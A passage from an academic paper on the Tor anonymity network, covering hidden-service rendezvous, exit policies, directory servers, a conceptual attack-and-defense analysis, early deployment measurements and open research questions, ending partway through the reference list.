Rendezvous Points and hidden services Rendezvous points are a building block for location-hidden services (also known as responder anonymity) in the Tor net- work. Location-hidden services allow Bob to offer a TCP ser- vice, such as a webserver, without revealing his IP address. This type of anonymity protects against distributed DoS at- tacks: attackers are forced to attack the onion routing network because they do not know Bob’s IP address. Our design for location-hidden servers has the following goals. Access-control: Bob needs a way to filter incoming requests, so an attacker cannot flood Bob simply by mak- ing many connections to him. Robustness: Bob should be able to maintain a long-term pseudonymous identity even in the presence of router failure. Bob’s service must not be tied to a single OR, and Bob must be able to migrate his service across ORs. Smear-resistance: A social attacker should not be able to “frame” a rendezvous router by offering an ille- gal or disreputable location-hidden service and making ob- servers believe the router created that service. Application- transparency: Although we require users to run special soft- ware to access location-hidden servers, we must not require them to modify their applications. We provide location-hiding for Bob by allowing him to advertise several onion routers (his introduction points) as contact points. He may do this on any robust efficient key- value lookup system with authenticated updates, such as a distributed hash table (DHT) like CFS [11].3 Alice, the client, chooses an OR as her rendezvous point. She connects to one of Bob’s introduction points, informs him of her rendezvous point, and then waits for him to connect to the rendezvous point. This extra level of indirection helps Bob’s introduc- tion points avoid problems associated with serving unpopular files directly (for example, if Bob serves material that the in- troduction point’s community finds objectionable, or if Bob’s service tends to get attacked by network vandals). The ex- tra level of indirection also allows Bob to respond to some requests and ignore others. 5.1 Rendezvous points in Tor The following steps are performed on behalf of Alice and Bob by their local OPs; application integration is described more fully below. • Bob generates a long-term public key pair to identify his service. • Bob chooses some introduction points, and advertises them on the lookup service, signing the advertisement with his public key. He can add more later. • Bob builds a circuit to each of his introduction points, and tells them to wait for requests. 3Rather than rely on an external infrastructure, the Onion Routing net- work can run the lookup service itself. Our current implementation provides a simple lookup system on the directory servers. • Alice learns about Bob’s service out of band (perhaps Bob told her, or she found it on a website). She retrieves the details of Bob’s service from the lookup service. If Alice wants to access Bob’s service anonymously, she must connect to the lookup service via Tor. • Alice chooses an OR as the rendezvous point (RP) for her connection to Bob’s service. She builds a circuit to the RP, and gives it a randomly chosen “rendezvous cookie” to recognize Bob. • Alice opens an anonymous stream to one of Bob’s intro- duction points, and gives it a message (encrypted with Bob’s public key) telling it about herself, her RP and ren- dezvous cookie, and the start of a DH handshake. The introduction point sends the message to Bob. • If Bob wants to talk to Alice, he builds a circuit to Al- ice’s RP and sends the rendezvous cookie, the second half of the DH handshake, and a hash of the session key they now share. By the same argument as in Section 4.2, Alice knows she shares the key only with Bob. • The RP connects Alice’s circuit to Bob’s. Note that RP can’t recognize Alice, Bob, or the data they transmit. • Alice sends a relay begin cell along the circuit. It arrives at Bob’s OP, which connects to Bob’s webserver. • An anonymous stream has been established, and Alice and Bob communicate as normal. When establishing an introduction point, Bob provides the onion router with the public key identifying his service. Bob signs his messages, so others cannot usurp his introduction point in the future. He uses the same public key to establish the other introduction points for his service, and periodically refreshes his entry in the lookup service. The message that Alice gives the introduction point in- cludes a hash of Bob’s public key and an optional initial au- thorization token (the introduction point can do prescreening, for example to block replays). Her message to Bob may in- clude an end-to-end authorization token so Bob can choose whether to respond. The authorization tokens can be used to provide selective access: important users can get uninter- rupted access. During normal situations, Bob’s service might simply be offered directly from mirrors, while Bob gives out tokens to high-priority users. If the mirrors are knocked down, those users can switch to accessing Bob’s service via the Tor rendezvous system. Bob’s introduction points are themselves subject to DoS— he must open many introduction points or risk such an at- tack. He can provide selected users with a current list or fu- ture schedule of unadvertised introduction points; this is most practical if there is a stable and large group of introduction points available. Bob could also give secret public keys for consulting the lookup service. All of these approaches limit exposure even when some selected users collude in the DoS. 5.2 Integration with user applications Bob configures his onion proxy to know the local IP address and port of his service, a strategy for authorizing clients, and his public key. The onion proxy anonymously publishes a signed statement of Bob’s public key, an expiration time, and the current introduction points for his service onto the lookup service, indexed by the hash of his public key. Bob’s web- server is unmodified, and doesn’t even know that it’s hidden behind the Tor network. Alice’s applications also work unchanged—her client interface remains a SOCKS proxy. We encode all of the necessary information into the fully qualified domain name (FQDN) Alice uses when establishing her connection. Location-hidden services use a virtual top level domain called .onion: thus hostnames take the form x.y.onion where x is the authorization cookie and y encodes the hash of the public key. Alice’s onion proxy examines addresses; if they’re destined for a hidden server, it decodes the key and starts the rendezvous as described above. 5.3 Previous rendezvous work Rendezvous points in low-latency anonymity systems were first described for use in ISDN telephony [30, 38]. Later low- latency designs used rendezvous points for hiding location of mobile phones and low-power location trackers [23, 40]. Rendezvous for anonymizing low-latency Internet connec- tions was suggested in early Onion Routing work [27], but the first published design was by Ian Goldberg [26]. His de- sign differs from ours in three ways. First, Goldberg suggests that Alice should manually hunt down a current location of the service via Gnutella; our approach makes lookup trans- parent to the user, as well as faster and more robust. Second, in Tor the client and server negotiate session keys with Diffie- Hellman, so plaintext is not exposed even at the rendezvous point. Third, our design minimizes the exposure from run- ning the service, to encourage volunteers to offer introduc- tion and rendezvous services. Tor’s introduction points do not output any bytes to the clients; the rendezvous points don’t know the client or the server, and can’t read the data being transmitted. The indirection scheme is also designed to in- clude authentication/authorization—if Alice doesn’t include the right cookie with her request for service, Bob need not even acknowledge his existence. 6 Other design decisions 6.1 Denial of service Providing Tor as a public service creates many opportuni- ties for denial-of-service attacks against the network. While flow control and rate limiting (discussed in Section 4.6) pre- vent users from consuming more bandwidth than routers are willing to provide, opportunities remain for users to consume more network resources than their fair share, or to render the network unusable for others. First of all, there are several CPU-consuming denial-of- service attacks wherein an attacker can force an OR to per- form expensive cryptographic operations. For example, an at- tacker can fake the start of a TLS handshake, forcing the OR to carry out its (comparatively expensive) half of the hand- shake at no real computational cost to the attacker. We have not yet implemented any defenses for these at- tacks, but several approaches are possible. First, ORs can require clients to solve a puzzle [16] while beginning new TLS handshakes or accepting create cells. So long as these tokens are easy to verify and computationally expensive to produce, this approach limits the attack multiplier. Addition- ally, ORs can limit the rate at which they accept create cells and TLS connections, so that the computational work of pro- cessing them does not drown out the symmetric cryptography operations that keep cells flowing. This rate limiting could, however, allow an attacker to slow down other users when they build new circuits. Adversaries can also attack the Tor network’s hosts and network links. Disrupting a single circuit or link breaks all streams passing along that part of the circuit. Users simi- larly lose service when a router crashes or its operator restarts it. The current Tor design treats such attacks as intermit- tent network failures, and depends on users and applications to respond or recover as appropriate. A future design could use an end-to-end TCP-like acknowledgment protocol, so no streams are lost unless the entry or exit point is disrupted. This solution would require more buffering at the network edges, however, and the performance and anonymity impli- cations from this extra complexity still require investigation. 6.2 Exit policies and abuse Exit abuse is a serious barrier to wide-scale Tor deployment. Anonymity presents would-be vandals and abusers with an opportunity to hide the origins of their activities. Attackers can harm the Tor network by implicating exit servers for their abuse. Also, applications that commonly use IP-based au- thentication (such as institutional mail or webservers) can be fooled by the fact that anonymous connections appear to orig- inate at the exit OR. We stress that Tor does not enable any new class of abuse. Spammers and other attackers already have access to thou- sands of misconfigured systems worldwide, and the Tor net- work is far from the easiest way to launch attacks. But be- cause the onion routers can be mistaken for the originators of the abuse, and the volunteers who run them may not want to deal with the hassle of explaining anonymity networks to irate administrators, we must block or limit abuse through the Tor network. To mitigate abuse issues, each onion router’s exit policy de- scribes to which external addresses and ports the router will connect. On one end of the spectrum are open exit nodes that will connect anywhere. On the other end are middleman nodes that only relay traffic to other Tor nodes, and private exit nodes that only connect to a local host or network. A private exit can allow a client to connect to a given host or network more securely—an external adversary cannot eaves- drop traffic between the private exit and the final destination, and so is less sure of Alice’s destination and activities. Most onion routers in the current network function as restricted ex- its that permit connections to the world at large, but prevent access to certain abuse-prone addresses and services such as SMTP. The OR might also be able to authenticate clients to prevent exit abuse without harming anonymity [48]. Many administrators use port restrictions to support only a limited set of services, such as HTTP, SSH, or AIM. This is not a complete solution, of course, since abuse opportunities for these protocols are still well known. We have not yet encountered any abuse in the deployed network, but if we do we should consider using proxies to clean traffic for certain protocols as it leaves the network. For example, much abusive HTTP behavior (such as exploiting buffer overflows or well-known script vulnerabilities) can be detected in a straightforward manner. Similarly, one could run automatic spam filtering software (such as SpamAssas- sin) on email exiting the OR network. ORs may also rewrite exiting traffic to append headers or other information indicating that the traffic has passed through an anonymity service. This approach is commonly used by email-only anonymity systems. ORs can also run on servers with hostnames like anonymous to further alert abuse targets to the nature of the anonymous traffic. A mixture of open and restricted exit nodes allows the most flexibility for volunteers running servers. But while having many middleman nodes provides a large and robust network, having only a few exit nodes reduces the number of points an adversary needs to monitor for traffic analysis, and places a greater burden on the exit nodes. This tension can be seen in the Java Anon Proxy cascade model, wherein only one node in each cascade needs to handle abuse complaints—but an ad- versary only needs to observe the entry and exit of a cascade to perform traffic analysis on all that cascade’s users. The hy- dra model (many entries, few exits) presents a different com- promise: only a few exit nodes are needed, but an adversary needs to work harder to watch all the clients; see Section 10. Finally, we note that exit abuse must not be dismissed as a peripheral issue: when a system’s public image suffers, it can reduce the number and diversity of that system’s users, and thereby reduce the anonymity of the system itself. Like usability, public perception is a security parameter. Sadly, preventing abuse of open exit nodes is an unsolved problem, and will probably remain an arms race for the foreseeable future. The abuse problems faced by Princeton’s CoDeeN project [37] give us a glimpse of likely issues. 6.3 Directory Servers First-generation Onion Routing designs [8, 41] used in-band network status updates: each router flooded a signed state- ment to its neighbors, which propagated it onward. But anonymizing networks have different security goals than typ- ical link-state routing protocols. For example, delays (acci- dental or intentional) that can cause different parts of the net- work to have different views of link-state and topology are not only inconvenient: they give attackers an opportunity to exploit differences in client knowledge. We also worry about attacks to deceive a client about the router membership list, topology, or current network state. Such partitioning attacks on client knowledge help an adversary to efficiently deploy resources against a target [15]. Tor uses a small group of redundant, well-known onion routers to track changes in network topology and node state, including keys and exit policies. Each such directory server acts as an HTTP server, so clients can fetch current network state and router lists, and so other ORs can upload state infor- mation. Onion routers periodically publish signed statements of their state to each directory server. The directory servers combine this information with their own views of network liveness, and generate a signed description (a directory) of the entire network state. Client software is pre-loaded with a list of the directory servers and their keys, to bootstrap each client’s view of the network. When a directory server receives a signed statement for an OR, it checks whether the OR’s identity key is recognized. Directory servers do not advertise unrecognized ORs—if they did, an adversary could take over the network by creating many servers [22]. Instead, new nodes must be approved by the directory server administrator before they are included. Mechanisms for automated node approval are an area of ac- tive research, and are discussed more in Section 9. Of course, a variety of attacks remain. An adversary who controls a directory server can track clients by providing them different information—perhaps by listing only nodes under its control, or by informing only certain clients about a given node. Even an external adversary can exploit differences in client knowledge: clients who use a node listed on one direc- tory server but not the others are vulnerable. Thus these directory servers must be synchronized and redundant, so that they can agree on a common directory. Clients should only trust this directory if it is signed by a threshold of the directory servers. The directory servers in Tor are modeled after those in Mixminion [15], but our situation is easier. First, we make the simplifying assumption that all participants agree on the set of directory servers. Second, while Mixminion needs to predict node behavior, Tor only needs a threshold con- sensus of the current state of the network. Third, we as- sume that we can fall back to the human administrators to discover and resolve problems when a consensus directory cannot be reached. Since there are relatively few directory servers (currently 3, but we expect as many as 9 as the net- work scales), we can afford operations like broadcast to sim- plify the consensus-building protocol. To avoid attacks where a router connects to all the direc- tory servers but refuses to relay traffic from other routers, the directory servers must also build circuits and use them to anonymously test router reliability [18]. Unfortunately, this defense is not yet designed or implemented. Using directory servers is simpler and more flexible than flooding. Flooding is expensive, and complicates the analysis when we start experimenting with non-clique network topolo- gies. Signed directories can be cached by other onion routers, so directory servers are not a performance bottleneck when we have many users, and do not aid traffic analysis by forcing clients to announce their existence to any central point. 7 Attacks and Defenses Below we summarize a variety of attacks, and discuss how well our design withstands them. Passive attacks Observing user traffic patterns. Observing a user’s connec- tion will not reveal her destination or data, but it will reveal traffic patterns (both sent and received). Profiling via user connection patterns requires further processing, because mul- tiple application streams may be operating simultaneously or in series over a single circuit. Observing user content. While content at the user end is encrypted, connections to responders may not be (indeed, the responding website itself may be hostile). While filtering content is not a primary goal of Onion Routing, Tor can di- rectly use Privoxy and related filtering services to anonymize application data streams. Option distinguishability. We allow clients to choose con- figuration options. For example, clients concerned about re- quest linkability should rotate circuits more often than those concerned about traceability. Allowing choice may attract users with different needs; but clients who are in the minor- ity may lose more anonymity by appearing distinct than they gain by optimizing their behavior [1]. End-to-end timing correlation. Tor only minimally hides such correlations. An attacker watching patterns of traffic at the initiator and the responder will be able to confirm the cor- respondence with high probability. The greatest protection currently available against such confirmation is to hide the connection between the onion proxy and the first Tor node, by running the OP on the Tor node or behind a firewall. This approach requires an observer to separate traffic originating at the onion router from traffic passing through it: a global ob- server can do this, but it might be beyond a limited observer’s capabilities. End-to-end size correlation. Simple packet counting will also be effective in confirming endpoints of a stream. How- ever, even without padding, we may have some limited pro- tection: the leaky pipe topology means different numbers of packets may enter one end of a circuit than exit at the other. Website fingerprinting. All the effective passive attacks above are traffic confirmation attacks, which puts them out- side our design goals. There is also a passive traffic analysis attack that is potentially effective. Rather than searching exit connections for timing and volume correlations, the adversary may build up a database of “fingerprints” contain- ing file sizes and access patterns for targeted websites. He can later confirm a user’s connection to a given site simply by consulting the database. This attack has been shown to be effective against SafeWeb [29]. It may be less effective against Tor, since streams are multiplexed within the same circuit, and fingerprinting will be limited to the granularity of cells (currently 512 bytes). Additional defenses could include larger cell sizes, padding schemes to group websites into large sets, and link padding or long-range dummies.4 Active attacks Compromise keys. An attacker who learns the TLS session key can see control cells and encrypted relay cells on every circuit on that connection; learning a circuit session key lets him unwrap one layer of the encryption. An attacker who learns an OR’s TLS private key can impersonate that OR for the TLS key’s lifetime, but he must also learn the onion key to decrypt create cells (and because of perfect forward se- crecy, he cannot hijack already established circuits without also compromising their session keys). Periodic key rotation limits the window of opportunity for these attacks. On the other hand, an attacker who learns a node’s identity key can replace that node indefinitely by sending new forged descrip- tors to the directory servers. Iterated compromise. A roving adversary who can com- promise ORs (by system intrusion, legal coercion, or extrale- gal coercion) could march down the circuit compromising the nodes until he reaches the end. Unless the adversary can com- plete this attack within the lifetime of the circuit, however, the ORs will have discarded the necessary information before the attack can be completed. (Thanks to the perfect forward secrecy of session keys, the attacker cannot force nodes to de- crypt recorded traffic once the circuits have been closed.) Ad- ditionally, building circuits that cross jurisdictions can make legal coercion harder—this phenomenon is commonly called “jurisdictional arbitrage.” The Java Anon Proxy project re- cently experienced the need for this approach, when a Ger- man court forced them to add a backdoor to their nodes [51]. Run a recipient. An adversary running a webserver trivially 4Note that this fingerprinting attack should not be confused with the much more complicated latency attacks of [5], which require a fingerprint of the latencies of all circuits through the network, combined with those from the network edges to the target user and the responder website. learns the timing patterns of users connecting to it, and can in- troduce arbitrary patterns in its responses. End-to-end attacks become easier: if the adversary can induce users to connect to his webserver (perhaps by advertising content targeted to those users), he now holds one end of their connection. There is also a danger that application protocols and associated pro- grams can be induced to reveal information about the initiator. Tor depends on Privoxy and similar protocol cleaners to solve this latter problem. Run an onion proxy. It is expected that end users will nearly always run their own local onion proxy. However, in some settings, it may be necessary for the proxy to run remotely— typically, in institutions that want to monitor the activity of those connecting to the proxy. Compromising an onion proxy compromises all future connections through it. DoS non-observed nodes. An observer who can only watch some of the Tor network can increase the value of this traffic by attacking non-observed nodes to shut them down, reduce their reliability, or persuade users that they are not trustwor- thy. The best defense here is robustness. Run a hostile OR. In addition to being a local observer, an isolated hostile node can create circuits through itself, or alter traffic patterns to affect traffic at other nodes. Nonetheless, a hostile node must be immediately adjacent to both endpoints to compromise the anonymity of a circuit. If an adversary can run multiple ORs, and can persuade the directory servers that those ORs are trustworthy and independent, then occasionally some user will choose one of those ORs for the start and an- other as the end of a circuit. If an adversary controls m > 1 of N nodes, he can correlate at most m N 2 of the traffic— although an adversary could still attract a disproportionately large amount of traffic by running an OR with a permissive exit policy, or by degrading the reliability of other routers. Introduce timing into messages. This is simply a stronger version of passive timing attacks already discussed earlier. Tagging attacks. A hostile node could “tag” a cell by al- tering it. If the stream were, for example, an unencrypted request to a Web site, the garbled content coming out at the appropriate time would confirm the association. However, in- tegrity checks on cells prevent this attack. Replace contents of unauthenticated protocols. When re- laying an unauthenticated protocol like HTTP, a hostile exit node can impersonate the target server. Clients should prefer protocols with end-to-end authentication. Replay attacks. Some anonymity protocols are vulnerable to replay attacks. Tor is not; replaying one side of a hand- shake will result in a different negotiated session key, and so the rest of the recorded session can’t be used. Smear attacks. An attacker could use the Tor network for socially disapproved acts, to bring the network into disrepute and get its operators to shut it down. Exit policies reduce the possibilities for abuse, but ultimately the network requires volunteers who can tolerate some political heat. Distribute hostile code. An attacker could trick users into running subverted Tor software that did not, in fact, anonymize their connections—or worse, could trick ORs into running weakened software that provided users with less anonymity. We address this problem (but do not solve it completely) by signing all Tor releases with an official public key, and including an entry in the directory that lists which versions are currently believed to be secure. To prevent an attacker from subverting the official release itself (through threats, bribery, or insider attacks), we provide all releases in source code form, encourage source audits, and frequently warn our users never to trust any software (even from us) that comes without source. Directory attacks Destroy directory servers. If a few directory servers disap- pear, the others still decide on a valid directory. So long as any directory servers remain in operation, they will still broadcast their views of the network and generate a consensus directory. (If more than half are destroyed, this directory will not, however, have enough signatures for clients to use it au- tomatically; human intervention will be necessary for clients to decide whether to trust the resulting directory.) Subvert a directory server. By taking over a directory server, an attacker can partially influence the final directory. Since ORs are included or excluded by majority vote, the cor- rupt directory can at worst cast a tie-breaking vote to decide whether to include marginal ORs. It remains to be seen how often such marginal cases occur in practice. Subvert a majority of directory servers. An adversary who controls more than half the directory servers can include as many compromised ORs in the final directory as he wishes. We must ensure that directory server operators are indepen- dent and attack-resistant. Encourage directory server dissent. The directory agree- ment protocol assumes that directory server operators agree on the set of directory servers. An adversary who can per- suade some of the directory server operators to distrust one another could split the quorum into mutually hostile camps, thus partitioning users based on which directory they use. Tor does not address this attack. Trick the directory servers into listing a hostile OR. Our threat model explicitly assumes directory server operators will be able to filter out most hostile ORs. Convince the directories that a malfunctioning OR is working. In the current Tor implementation, directory servers assume that an OR is running correctly if they can start a TLS connection to it. A hostile OR could easily subvert this test by accepting TLS connections from ORs but ignoring all cells. Directory servers must actively test ORs by building circuits and streams as appropriate. The tradeoffs of a similar approach are discussed in [18]. Attacks against rendezvous points Make many introduction requests. An attacker could try to deny Bob service by flooding his introduction points with re- quests. Because the introduction points can block requests that lack authorization tokens, however, Bob can restrict the volume of requests he receives, or require a certain amount of computation for every request he receives. Attack an introduction point. An attacker could disrupt a location-hidden service by disabling its introduction points. But because a service’s identity is attached to its public key, the service can simply re-advertise itself at a different intro- duction point. Advertisements can also be done secretly so that only high-priority clients know the address of Bob’s in- troduction points or so that different clients know of different introduction points. This forces the attacker to disable all pos- sible introduction points. Compromise an introduction point. An attacker who con- trols Bob’s introduction point can flood Bob with introduction requests, or prevent valid introduction requests from reaching him. Bob can notice a flood, and close the circuit. To notice blocking of valid requests, however, he should periodically test the introduction point by sending rendezvous requests and making sure he receives them. Compromise a rendezvous point. A rendezvous point is no more sensitive than any other OR on a circuit, since all data passing through the rendezvous is encrypted with a session key shared by Alice and Bob. 8 Early experiences: Tor in the Wild As of mid-May 2004, the Tor network consists of 32 nodes (24 in the US, 8 in Europe), and more are joining each week as the code matures. (For comparison, the current remailer network has about 40 nodes.) Each node has at least a 768Kb/768Kb connection, and many have 10Mb. The num- ber of users varies (and of course, it’s hard to tell for sure), but we sometimes have several hundred users—administrators at several companies have begun sending their entire depart- ments’ web traffic through Tor, to block other divisions of their company from reading their traffic. Tor users have re- ported using the network for web browsing, FTP, IRC, AIM, Kazaa, SSH, and recipient-anonymous email via rendezvous points. One user has anonymously set up a Wiki as a hidden service, where other users anonymously publish the addresses of their hidden services. Each Tor node currently processes roughly 800,000 relay cells (a bit under half a gigabyte) per week. On average, about 80% of each 498-byte payload is full for cells going back to the client, whereas about 40% is full for cells coming from the client. (The difference arises because most of the network’s traffic is web browsing.) Interactive traffic like SSH brings down the average a lot—once we have more experience, and assuming we can resolve the anonymity issues, we may parti- tion traffic into two relay cell sizes: one to handle bulk traffic and one for interactive traffic. Based in part on our restrictive default exit policy (we re- ject SMTP requests) and our low profile, we have had no abuse issues since the network was deployed in October 2003. Our slow growth rate gives us time to add features, resolve bugs, and get a feel for what users actually want from an anonymity system. Even though having more users would bolster our anonymity sets, we are not eager to attract the Kazaa or warez communities—we feel that we must build a reputation for privacy, human rights, research, and other so- cially laudable activities. As for performance, profiling shows that Tor spends almost all its CPU time in AES, which is fast. Current latency is attributable to two factors. First, network latency is critical: we are intentionally bouncing traffic around the world several times. Second, our end-to-end congestion control algorithm focuses on protecting volunteer servers from accidental DoS rather than on optimizing performance. To quantify these ef- fects, we did some informal tests using a network of 4 nodes on the same machine (a heavily loaded 1GHz Athlon). We downloaded a 60 megabyte file from debian.org every 30 minutes for 54 hours (108 sample points). It arrived in about 300 seconds on average, compared to 210s for a direct down- load. We ran a similar test on the production Tor network, fetching the front page of cnn.com (55 kilobytes): while a direct download consistently took about 0.3s, the perfor- mance through Tor varied. Some downloads were as fast as 0.4s, with a median at 2.8s, and 90% finishing within 5.3s. It seems that as the network expands, the chance of building a slow circuit (one that includes a slow or heavily loaded node or link) is increasing. On the other hand, as our users remain satisfied with this increased latency, we can address our per- formance incrementally as we proceed with development. Although Tor’s clique topology and full-visibility directo- ries present scaling problems, we still expect the network to support a few hundred nodes and maybe 10,000 users before we’re forced to become more distributed. With luck, the ex- perience we gain running the current topology will help us choose among alternatives when the time comes. 9 Open Questions in Low-latency Anonymity In addition to the non-goals in Section 3, many questions must be solved before we can be confident of Tor’s security. Many of these open issues are questions of balance. For example, how often should users rotate to fresh circuits? Fre- quent rotation is inefficient, expensive, and may lead to inter- section attacks and predecessor attacks [54], but infrequent rotation makes the user’s traffic linkable. Besides opening fresh circuits, clients can also exit from the middle of the cir- cuit, or truncate and re-extend the circuit. More analysis is needed to determine the proper tradeoff. How should we choose path lengths? If Alice always uses two hops, then both ORs can be certain that by colluding they will learn about Alice and Bob. In our current approach, Alice always chooses at least three nodes unrelated to herself and her destination. Should Alice choose a random path length (e.g. from a geometric distribution) to foil an attacker who uses timing to learn that he is the fifth hop and thus concludes that both Alice and the responder are running ORs? Throughout this paper, we have assumed that end-to-end traffic confirmation will immediately and automatically de- feat a low-latency anonymity system. Even high-latency anonymity systems can be vulnerable to end-to-end traffic confirmation, if the traffic volumes are high enough, and if users’ habits are sufficiently distinct [14, 31]. Can anything be done to make low-latency systems resist these attacks as well as high-latency systems? Tor already makes some ef- fort to conceal the starts and ends of streams by wrapping long-range control commands in identical-looking relay cells. Link padding could frustrate passive observers who count packets; long-range padding could work against observers who own the first hop in a circuit. But more research remains to find an efficient and practical approach. Volunteers pre- fer not to run constant-bandwidth padding; but no convinc- ing traffic shaping approach has been specified. Recent work on long-range padding [33] shows promise. One could also try to reduce correlation in packet timing by batching and re- ordering packets, but it is unclear whether this could improve anonymity without introducing so much latency as to render the network unusable. A cascade topology may better defend against traffic con- firmation by aggregating users, and making padding and mix- ing more affordable. Does the hydra topology (many input nodes, few output nodes) work better against some adver- saries? Are we going to get a hydra anyway because most nodes will be middleman nodes? Common wisdom suggests that Alice should run her own OR for best anonymity, because traffic coming from her node could plausibly have come from elsewhere. How much mix- ing does this approach need? Is it immediately beneficial because of real-world adversaries that can’t observe Alice’s router, but can run routers of their own? To scale to many users, and to prevent an attacker from observing the whole network, it may be necessary to support far more servers than Tor currently anticipates. This intro- duces several issues. First, if approval by a central set of di- rectory servers is no longer feasible, what mechanism should be used to prevent adversaries from signing up many collud- ing servers? Second, if clients can no longer have a complete picture of the network, how can they perform discovery while preventing attackers from manipulating or exploiting gaps in their knowledge? Third, if there are too many servers for ev- ery server to constantly communicate with every other, which non-clique topology should the network use? (Restricted- route topologies promise comparable anonymity with better scalability [13], but whatever topology we choose, we need some way to keep attackers from manipulating their posi- tion within it [21].) Fourth, if no central authority is track- ing server reliability, how do we stop unreliable servers from making the network unusable? Fifth, do clients receive so much anonymity from running their own ORs that we should expect them all to do so [1], or do we need another incentive structure to motivate them? Tarzan and MorphMix present possible solutions. When a Tor node goes down, all its circuits (and thus streams) must break. Will users abandon the system be- cause of this brittleness? How well does the method in Sec- tion 6.1 allow streams to survive node failure? If affected users rebuild circuits immediately, how much anonymity is lost? It seems the problem is even worse in a peer-to-peer environment—such systems don’t yet provide an incentive for peers to stay connected when they’re done retrieving con- tent, so we would expect a higher churn rate. 10 Future Directions Tor brings together many innovations into a unified deploy- able system. The next immediate steps include: Scalability: Tor’s emphasis on deployability and design simplicity has led us to adopt a clique topology, semi- centralized directories, and a full-network-visibility model for client knowledge. These properties will not scale past a few hundred servers. Section 9 describes some promising approaches, but more deployment experience will be helpful in learning the relative importance of these bottlenecks. Bandwidth classes: This paper assumes that all ORs have good bandwidth and latency. We should instead adopt the MorphMix model, where nodes advertise their bandwidth level (DSL, T1, T3), and Alice avoids bottlenecks by choos- ing nodes that match or exceed her bandwidth. In this way DSL users can usefully join the Tor network. Incentives: Volunteers who run nodes are rewarded with publicity and possibly better anonymity [1]. More nodes means increased scalability, and more users can mean more anonymity. We need to continue examining the incentive structures for participating in Tor. Further, we need to ex- plore more approaches to limiting abuse, and understand why most people don’t bother using privacy systems. Cover traffic: Currently Tor omits cover traffic—its costs in performance and bandwidth are clear but its security ben- efits are not well understood. We must pursue more research on link-level cover traffic and long-range cover traffic to de- termine whether some simple padding method offers provable protection against our chosen adversary. Caching at exit nodes: Perhaps each exit node should run a caching web proxy [47], to improve anonymity for cached pages (Alice’s request never leaves the Tor network), to im- prove speed, and to reduce bandwidth cost. On the other hand, forward security is weakened because caches consti- tute a record of retrieved files. We must find the right balance between usability and security. Better directory distribution: Clients currently download a description of the entire network every 15 minutes. As the state grows larger and clients more numerous, we may need a solution in which clients receive incremental updates to di- rectory state. More generally, we must find more scalable yet practical ways to distribute up-to-date snapshots of network status without introducing new attacks. Further specification review: Our public byte-level spec- ification [20] needs external review. We hope that as Tor is deployed, more people will examine its specification. Multisystem interoperability: We are currently working with the designer of MorphMix to unify the specification and implementation of the common elements of our two systems. So far, this seems to be relatively straightforward. Interop- erability will allow testing and direct comparison of the two designs for trust and scalability. Wider-scale deployment: The original goal of Tor was to gain experience in deploying an anonymizing overlay net- work, and learn from having actual users. We are now at a point in design and development where we can start deploy- ing a wider network. Once we have many actual users, we will doubtlessly be better able to evaluate some of our design decisions, including our robustness/latency tradeoffs, our per- formance tradeoffs (including cell size), our abuse-prevention mechanisms, and our overall usability. Acknowledgments We thank Peter Palfrader, Geoff Goodell, Adam Shostack, Joseph Sokol-Margolis, John Bashinski, and Zack Brown for editing and comments; Matej Pfajfar, Andrei Serjantov, Marc Rennhard for design discussions; Bram Cohen for congestion control discussions; Adam Back for suggesting telescoping circuits; and Cathy Meadows for formal analysis of the ex- tend protocol. This work has been supported by ONR and DARPA. References [1] A. Acquisti, R. Dingledine, and P. Syverson. On the eco- nomics of anonymity. In R. N. Wright, editor, Financial Cryp- tography. Springer-Verlag, LNCS 2742, 2003. [2] R. Anderson. The eternity service. In Pragocrypt ’96, 1996. [3] The Anonymizer. <http://anonymizer.com/>. [4] A. Back, I. Goldberg, and A. Shostack. Freedom systems 2.1 security issues and analysis. White paper, Zero Knowledge Systems, Inc., May 2001. [5] A. Back, U. M¨oller, and A. Stiglic. Traffic analysis at- tacks and trade-offs in anonymity providing systems. In I. S. Moskowitz, editor, Information Hiding (IH 2001), pages 245– 257. Springer-Verlag, LNCS 2137, 2001. [6] M. Bellare, P. Rogaway, and D. Wagner. The EAX mode of operation: A two-pass authenticated-encryption scheme opti- mized for simplicity and efficiency. In Fast Software Encryp- tion 2004, February 2004. [7] O. Berthold, H. Federrath, and S. K¨opsell. Web MIXes: A system for anonymous and unobservable Internet access. In H. Federrath, editor, Designing Privacy Enhancing Technolo- gies: Workshop on Design Issue in Anonymity and Unobserv- ability. Springer-Verlag, LNCS 2009, 2000. [8] P. Boucher, A. Shostack, and I. Goldberg. Freedom systems 2.0 architecture. White paper, Zero Knowledge Systems, Inc., December 2000. [9] Z. Brown. Cebolla: Pragmatic IP Anonymity. In Ottawa Linux Symposium, June 2002. [10] D. Chaum. Untraceable electronic mail, return addresses, and digital pseudo-nyms. Communications of the ACM, 4(2), February 1981. [11] F. Dabek, M. F. Kaashoek, D. Karger, R. Morris, and I. Stoica. Wide-area cooperative storage with CFS. In 18th ACM Sym- posium on Operating Systems Principles (SOSP ’01), Chateau Lake Louise, Banff, Canada, October 2001. [12] W. Dai. Pipenet 1.1. Usenet post, August 1996. <http: //www.eskimo.com/˜weidai/pipenet.txt> First mentioned in a post to the cypherpunks list, Feb. 1995. [13] G. Danezis. Mix-networks with restricted routes. In R. Din- gledine, editor, Privacy Enhancing Technologies (PET 2003). Springer-Verlag LNCS 2760, 2003. [14] G. Danezis. Statistical disclosure attacks. In Security and Privacy in the Age of Uncertainty (SEC2003), pages 421–426, Athens, May 2003. IFIP TC11, Kluwer. [15] G. Danezis, R. Dingledine, and N. Mathewson. Mixminion: Design of a type III anonymous remailer protocol. In 2003 IEEE Symposium on Security and Privacy, pages 2–15. IEEE CS, May 2003. [16] D. Dean and A. Stubblefield. Using Client Puzzles to Protect TLS. In Proceedings of the 10th USENIX Security Symposium. USENIX, Aug. 2001. [17] T. Dierks and C. Allen. The TLS Protocol — Version 1.0. IETF RFC 2246, January 1999. [18] R. Dingledine, M. J. Freedman, D. Hopwood, and D. Molnar. A Reputation System to Increase MIX-net Reliability. In I. S. Moskowitz, editor, Information Hiding (IH 2001), pages 126– 141. Springer-Verlag, LNCS 2137, 2001. [19] R. Dingledine, M. J. Freedman, and D. Molnar. The free haven project: Distributed anonymous storage service. In H. Federrath, editor, Designing Privacy Enhancing Technolo- gies: Workshop on Design Issue in Anonymity and Unobserv- ability. Springer-Verlag, LNCS 2009, July 2000. [20] R. Dingledine and N. Mathewson. Tor protocol specifications. <http://freehaven.net/tor/tor-spec.txt>. [21] R. Dingledine and P. Syverson. Reliable MIX Cascade Net- works through Reputation. In M. Blaze, editor, Financial Cryptography. Springer-Verlag, LNCS 2357, 2002. [22] J. Douceur. The Sybil Attack. In Proceedings of the 